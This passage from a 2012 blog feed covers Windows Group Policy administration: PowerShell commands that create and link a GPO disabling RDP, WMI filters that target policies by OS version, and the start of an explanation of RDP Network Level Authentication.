[[-ValueName] &lt;String&gt;]...<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Cmdlet      Rename-GPO                 Rename-GPO -Guid &lt;Guid&gt; -TargetName &lt;String&gt; [-Domain &lt;String&gt;] [-Server &lt;Str...<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Cmdlet      Restore-GPO                Restore-GPO -BackupId &lt;Guid&gt; -Path &lt;String&gt; [-Domain &lt;String&gt;] [-Server &lt;Stri...<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Cmdlet      Set-GPInheritance          Set-GPInheritance [-Target] &lt;String&gt; -IsBlocked &lt;BlockInheritance&gt; [-Domain &lt;...<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Cmdlet      Set-GPLink                 Set-GPLink -Guid &lt;Guid&gt; -Target &lt;String&gt; [-LinkEnabled &lt;EnableLink&gt;] [-Order ...<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Cmdlet      Set-GPPermissions          Set-GPPermissions -Guid &lt;Guid&gt; -PermissionLevel &lt;GPPermissionType&gt; -TargetNam...<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Cmdlet      Set-GPPrefRegistryValue    Set-GPPrefRegistryValue -Guid &lt;Guid&gt; -Context &lt;GpoConfiguration&gt; -Key &lt;String...<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Cmdlet      Set-GPRegistryValue        Set-GPRegistryValue -Guid &lt;Guid&gt; -Key &lt;String&gt; [-ValueName &lt;String[]&gt;] [-Valu...</pre></pre></p><p>We now use the New-GPO comandlet to create a new empty GPO named DisableRDP:</p><p><pre style="border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #c0c0c0; min-height: 40px; padding-left: 5px; width: 800px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px"><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">PS C:\&gt; <strong>New-GPO -Name &quot;<span style="color: #8b0000">DisableRDP</span>&quot;</strong><br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px"></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px"></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">DisplayName      : DisableRDP<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">DomainName       : acme-lab.com<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Owner            : ACME-LAB\Domain Admins<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Id               : 31122b47-5129-420f-9fe8-241584cc516d<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">GpoStatus        : AllSettingsEnabled<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Description      :<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">CreationTime     : 3/20/2012 7:56:43 AM<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">ModificationTime : 3/20/2012 7:56:44 AM<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">UserVersion      : AD Version: 0, SysVol Version: 0<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">ComputerVersion  : AD Version: 0, SysVol Version: 0<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">WmiFilter        :</pre></pre></p><p>Now that we have a Group Policy Object created we can use the commadlet to create a registry reference in the GPO that will be applied to the machines that process the GPO under the context of Computer:</p><p><pre style="border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #c0c0c0; min-height: 40px; padding-left: 5px; width: 800px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px"><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">PS C:\&gt; <strong>Set-GPPrefRegistryValue -Name DisableRDP -Key &quot;<span style="color: #8b0000">HKLM\System\CurrentControlSet\Control\Terminal Server</span>&quot; -ValueName fDenyTSConnections -Value 1 -Type Dword -Context computer -Action update</strong></pre></pre></p><p>Now to be able to link a WMI Filter to a GPO we need some external commands provided for free by SDM Software from <a title="http://www.sdmsoftware.com/products/freeware/" href="http://www.sdmsoftware.com/products/freeware/">http://www.sdmsoftware.com/products/freeware/</a> and we download the SDM GPMC PowerShell Cmdlets and install them on the Domain Controller. Once installed we can load the module:</p><p><pre style="border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #c0c0c0; min-height: 40px; padding-left: 5px; width: 800px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px"><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">PS C:\Users\Administrator\Documents&gt; import-module SDM-GPMC</pre></pre></p><p>We want to use the Add-SDMWMIFilterLink command to link our GPO with one of the WMI Filters we created for the target of the GPO. To look at examples on how to use it we use the help command with the switch for examples:</p><p><pre style="border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #c0c0c0; min-height: 40px; padding-left: 5px; width: 800px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px"><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">PS C:\Users\Administrator\Documents&gt; help Add-SDMWMIFilterLink -Examples<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px"></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">NAME<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">    Add-SDMWMIFilterLink<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px"></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">SYNOPSIS<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">    Adds a WMI Filter to a particular GPO<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px"></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">    --------------  Example 1 --------------<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px"></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">    C:\PS&gt;Add-SDMWMIFilterLink &quot;<span style="color: #8b0000">Wireless Policy</span>&quot; -FilterName &quot;<span style="color: #8b0000">Laptop Test</span>&quot;<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px"></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px"></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">    Links the WMI filter called &quot;<span style="color: #8b0000">Laptop Test</span>&quot; to the GPO called &quot;<span style="color: #8b0000">Wireless Policy</span>&quot;<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px"></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px"></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">    Filter Laptop test linked to GPO Wireless Policy<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px"></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px"></pre></pre></p><p>As we can see the command is quite simple to use we just need to provide it a name for the GPO and a filter name to link to the GPO. Lets link now the GPO with the WMI Filter:</p><p><pre style="border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #c0c0c0; min-height: 40px; padding-left: 5px; width: 800px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px"><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">PS C:\Users\Administrator\Documents&gt; Add-SDMWMIFilterLink &quot;<span style="color: #8b0000">DisableRDP</span>&quot; -FilterName &quot;<span style="color: #8b0000">Windows 2000, XP and 2003</span>&quot;<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Filter Windows 2000, XP and 2003 linked to GPO DisableRDP</pre></pre></p><p>Once done we can now link the GPO to any part of our Active Directory structure. In this case I will attach it to the entire Forest of my lab AD infrastructure:</p><p><pre style="border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #c0c0c0; min-height: 40px; padding-left: 5px; width: 800px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px"><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">PS C:\Users\Administrator\Documents&gt; <strong>New-GPLink -Name DisableRDP -Target &quot;</strong><span style="color: #8b0000"><strong>dc=acme-lab,dc=com”</strong><br /></span></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px"></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px"></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">GpoId       : 31122b47-5129-420f-9fe8-241584cc516d<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">DisplayName : DisableRDP<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Enabled     : True<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Enforced    : False<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Target      : DC=acme-lab,DC=com<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Order       : 3<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px"></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">DisplayName      : DisableRDP<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">DomainName       : acme-lab.com<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Owner            : ACME-LAB\Domain Admins<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Id               : 31122b47-5129-420f-9fe8-241584cc516d<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">GpoStatus        : AllSettingsEnabled<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Description      :<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">CreationTime     : 3/20/2012 7:56:43 AM<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">ModificationTime : 3/20/2012 8:18:04 AM<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">UserVersion      : AD Version: 0, SysVol Version: 0<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">ComputerVersion  : AD Version: 1, SysVol Version: 1<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">WmiFilter        :<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px"></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px"></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">DisplayName      : DisableRDP<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">DomainName       : acme-lab.com<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Owner            : ACME-LAB\Domain Admins<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Id               : 31122b47-5129-420f-9fe8-241584cc516d<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">GpoStatus        : AllSettingsEnabled<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Description      :<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">CreationTime     : 3/20/2012 7:56:43 AM<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">ModificationTime : 3/20/2012 7:56:44 AM<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">UserVersion      : AD Version: 0, SysVol Version: 0<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">ComputerVersion  : AD Version: 0, SysVol Version: 0<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">WmiFilter        :</pre></pre></p><p>This could be a very good way to automate the process of creating Group Policy Objects in lab and then move this to a production environment. Also you could use it for automating disaster recovery procedures. </p><p>As always I hope you found this blog post useful and informative.</p>]]></content></entry><entry><title>WMI Filters in Group Policy Objects</title><category term="WMI"/><category term="group policy"/><category term="powershell"/><category term="rdp"/><id>http://www.darkoperator.com/blog/2012/3/20/wmi-filters-in-group-policy-objects.html</id><link rel="alternate" type="text/html" href="http://www.darkoperator.com/blog/2012/3/20/wmi-filters-in-group-policy-objects.html"/><author><name>Carlos Perez</name></author><published>2012-03-20T00:50:37Z</published><updated>2012-03-20T00:50:37Z</updated><content type="html" xml:lang="en-US"><![CDATA[<p>One of the problems that we see every day in production environments is that even when we would like to have all machines on the same version of Windows many times this is not possible so we have to adapt our Group Policies to these environments.  Microsoft provides a great way to check several parameters of the box thru Windows Management Instrumentation (WMI), this allows is from checking Hardware, software, patches and many other attributes available via the Windows Management Instrumentation (WMI). Lets say we want the previous Group Policy we created to apply only to Windows 2008 R2, Windows 2008, Vista and Windows 7 and lets also make a filter for Windows XP and 2003 so if we decide to make a filter to apply a policy to only those we can apply the filter.   We start by going to the Group Policy&#160; Management Console and choosing under the domain WMI Filters  <a href="http://www.darkoperator.com/resource/Windows-Live-Writer-WMI-Filters-in-Group-Policy-Objects_12875-?fileId=17212300" rel="lightbox"><img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://www.darkoperator.com/resource/Windows-Live-Writer-WMI-Filters-in-Group-Policy-Objects_12875-?fileId=17212302" width="666" height="468" /></a>  We now <strong>Right Click</strong> an select New to create a new filter. We will get a screen where we will enter a name and a description for our first filter that will be for Windows 2008, Windows 2008R2, Windows Vista and Windows 7, the operating systems that support Network Level Authentication (NLA) on Remote Desktop Protocol (RDP).  <a href="http://www.darkoperator.com/resource/Windows-Live-Writer-WMI-Filters-in-Group-Policy-Objects_12875-?fileId=17212303" rel="lightbox"><img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://www.darkoperator.com/resource/Windows-Live-Writer-WMI-Filters-in-Group-Policy-Objects_12875-?fileId=17212304" width="505" height="361" /></a>    Now we click on <strong>Add</strong> on the Queries section so as to add the WMI Query Language query we will use to filter to what Operating systems the policy is applied to:  <a href="http://www.darkoperator.com/resource/Windows-Live-Writer-WMI-Filters-in-Group-Policy-Objects_12875-?fileId=17212305" rel="lightbox"><img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://www.darkoperator.com/resource/Windows-Live-Writer-WMI-Filters-in-Group-Policy-Objects_12875-?fileId=17212306" width="511" height="359" /></a>  We will select from <strong>Win32_OperatingSystem</strong>&#160; the Version, this will give us a version number of 6.0 for Windows Vista and Windows 2008, 6.1 for Windows 2008 R2 and Windows 7.   we will use:  <pre style="border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #c0c0c0; min-height: 40px; padding-left: 5px; width: 800px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px"><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px"><a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&siteid=us%2Fdev&p=1&nq=NEW&qu=SELECT&IntlSearch=&boolean=PHRASE&ig=01&i=09&i=99">SELECT</a> * <a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&siteid=us%2Fdev&p=1&nq=NEW&qu=FROM&IntlSearch=&boolean=PHRASE&ig=01&i=09&i=99">FROM</a> Win32_OperatingSystem <a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&siteid=us%2Fdev&p=1&nq=NEW&qu=WHERE&IntlSearch=&boolean=PHRASE&ig=01&i=09&i=99">WHERE</a> Version <a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&siteid=us%2Fdev&p=1&nq=NEW&qu=like&IntlSearch=&boolean=PHRASE&ig=01&i=09&i=99">like</a> &quot;<span style="color: #8b0000">6.%</span>&quot;</pre></pre></p><p>We would click on <strong>Add</strong> type our filter and then just click on <strong>Ok</strong>:</p><p><a href="http://www.darkoperator.com/resource/Windows-Live-Writer-WMI-Filters-in-Group-Policy-Objects_12875-?fileId=17212307" rel="lightbox"><img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://www.darkoperator.com/resource/Windows-Live-Writer-WMI-Filters-in-Group-Policy-Objects_12875-?fileId=17212309" width="542" height="387" /></a></p><p>We now click on save and the filter is ready to apply. </p><p>To apply a filter we just select the policy we want to apply the filter to and select from the WMI Filtering section the WMI Filter we want from the dropdown box:</p><p><a href="http://www.darkoperator.com/resource/Windows-Live-Writer-WMI-Filters-in-Group-Policy-Objects_12875-?fileId=17212312" rel="lightbox"><img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://www.darkoperator.com/resource/Windows-Live-Writer-WMI-Filters-in-Group-Policy-Objects_12875-?fileId=17212315" width="562" height="395" /></a></p><p>In the case we wanted the filter to be for earlier supported versions of Windows we would use:</p><p><pre style="border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #c0c0c0; min-height: 40px; padding-left: 5px; width: 800px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px"><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px"><a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&siteid=us%2Fdev&p=1&nq=NEW&qu=SELECT&IntlSearch=&boolean=PHRASE&ig=01&i=09&i=99">SELECT</a> * <a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&siteid=us%2Fdev&p=1&nq=NEW&qu=FROM&IntlSearch=&boolean=PHRASE&ig=01&i=09&i=99">FROM</a> Win32_OperatingSystem <a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&siteid=us%2Fdev&p=1&nq=NEW&qu=WHERE&IntlSearch=&boolean=PHRASE&ig=01&i=09&i=99">WHERE</a> Version <a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&siteid=us%2Fdev&p=1&nq=NEW&qu=LIKE&IntlSearch=&boolean=PHRASE&ig=01&i=09&i=99">LIKE</a> &quot;<span style="color: #8b0000">5.%</span>&quot;</pre></pre></p><p>If we wanted to even go more granular we could create separate filter for Product Type where:</p><p><ul><br />  <li>ProductType 1 is for Client Versions of Windows</li></p><p>  <li>ProductType 2 is for Server Version of Windows operating as a Domain Controller</li></p><p>  <li>ProductType 3 for Server Version of Windows that are not a Domain Controller</li><br /></ul></p><p>If we wanted this to apply to all servers but not domain controller we could do a query like this one:</p><p><pre style="border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #c0c0c0; min-height: 40px; padding-left: 5px; width: 800px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px"><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px"><a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&siteid=us%2Fdev&p=1&nq=NEW&qu=SELECT&IntlSearch=&boolean=PHRASE&ig=01&i=09&i=99">SELECT</a> * <a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&siteid=us%2Fdev&p=1&nq=NEW&qu=FROM&IntlSearch=&boolean=PHRASE&ig=01&i=09&i=99">FROM</a> Win32_OperatingSystem <a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&siteid=us%2Fdev&p=1&nq=NEW&qu=WHERE&IntlSearch=&boolean=PHRASE&ig=01&i=09&i=99">WHERE</a> (Version <a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&siteid=us%2Fdev&p=1&nq=NEW&qu=like&IntlSearch=&boolean=PHRASE&ig=01&i=09&i=99">like</a> &quot;<span style="color: #8b0000">5.%</span>&quot; <a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&siteid=us%2Fdev&p=1&nq=NEW&qu=OR&IntlSearch=&boolean=PHRASE&ig=01&i=09&i=99">OR</a> Version <a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&siteid=us%2Fdev&p=1&nq=NEW&qu=like&IntlSearch=&boolean=PHRASE&ig=01&i=09&i=99">like</a> &quot;<span style="color: #8b0000">6.%</span>&quot;) <a style="color: #0000ff" href="http://search.microsoft.com/default.asp?so=RECCNT&siteid=us%2Fdev&p=1&nq=NEW&qu=and&IntlSearch=&boolean=PHRASE&ig=01&i=09&i=99">and</a> ProductType&lt;&gt;2</pre></pre><br />As you can see there is a lot of flexibility with filters, specially since we can have several of them. As always I hope you find the post informative and useful.</p>]]></content></entry><entry><title>Configuring Network Level Authentication for RDP</title><id>http://www.darkoperator.com/blog/2012/3/17/configuring-network-level-authentication-for-rdp.html</id><link rel="alternate" type="text/html" href="http://www.darkoperator.com/blog/2012/3/17/configuring-network-level-authentication-for-rdp.html"/><author><name>Carlos Perez</name></author><published>2012-03-17T15:29:29Z</published><updated>2012-03-17T15:29:29Z</updated><content type="html" xml:lang="en-US"><![CDATA[<p>Recently there has been a lot of attention given to the Remote Desktop Protocol for attacker. The protocol has seen a work in 2011 that abused week passwords and&#160; it’s features to copy files and infect other machines and now in 2012 there is a remote code execution bug in the protocol it self. Since the days of Vista and Windows 2008 Microsoft has provided a new mechanism for securing RDP connections with what they call Network Level Authentication, this uses Microsoft CredSSP Protocol to authenticate and negotiate credential type before handing off the connection to RDP Service. </p>  <p>CredSSP first establishes an encrypted channel between the client and the target server by using Transport Layer Security (TLS). Using the TLS connection as an encrypted channel; it does not rely on the client/server authentication services that are available in TLS but does uses it for validating identity. The CredSSP Protocol then uses the Simple and Protected Generic Security Service Application Program Interface Negotiation Mechanism (SPNEGO) Protocol Extensions to negotiate a Generic Security Services (GSS) mechanism that performs mutual authentication and GSS confidentiality services to securely bind to the TLS channel and encrypt the credentials for the target server. It should be noted that all GSS security tokens are sent over the encrypted TLS channel. This tokens can be NTL, Kerberos or PKI Authentication for SmartCards.</p>  <p>The graphic bellow illustrates how this is done:</p>  <p>&#160;</p>  <p><a href="http://www.darkoperator.com/resource/Windows-Live-Writer-Configuring-y_948B-?fileId=17176295" rel="lightbox"><img style="background-image: none; border-right-width: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://www.darkoperator.com/resource/Windows-Live-Writer-Configuring-y_948B-?fileId=17176296" width="468" height="429" /></a></p>  <p>Most brut force tools currently out there do not take in to account NLA, it would slow down the process even more and add another level of complexity. Since no packet will reach the RDP service until CredSSP has finished negotiation of the connection it protects the servers from DoS and exploits. </p>  <p>NLA is present in the latest versions of Windows, for Server:</p>  <ul>   <li>Windows 2008 </li>    <li>Windows 2008 R2 </li>    <li>Windows 7 </li>    <li>Windows Vista </li> </ul>  <p>On the client side:</p>  <ul>   <li>Windows XP SP3 </li>    <li>Windows Vista </li>    <li>Windows 7 </li>    <li>Windows 2008 </li>    <li>Windows 2008 R2 </li>    <li>Remote Desktop Connection for Mac </li> </ul>  <p>NLA was introduced first with RDP 6.0 in Windows Vista and later on Windows XP SP3. </p>  <p>One of the biggest advantages also is that since TLS is used it will warn us if it can not validate the identity of the host we are connecting to. For this we will need a PKI infrastructure integrated with AD in our Windows environment. On a Windows 2008 environment we can install on a server the role of Active Directory Certificate Service to install a Enterprise CA accepting all defaults so it can provide Computer Certificates to the machines in the domain in an automated 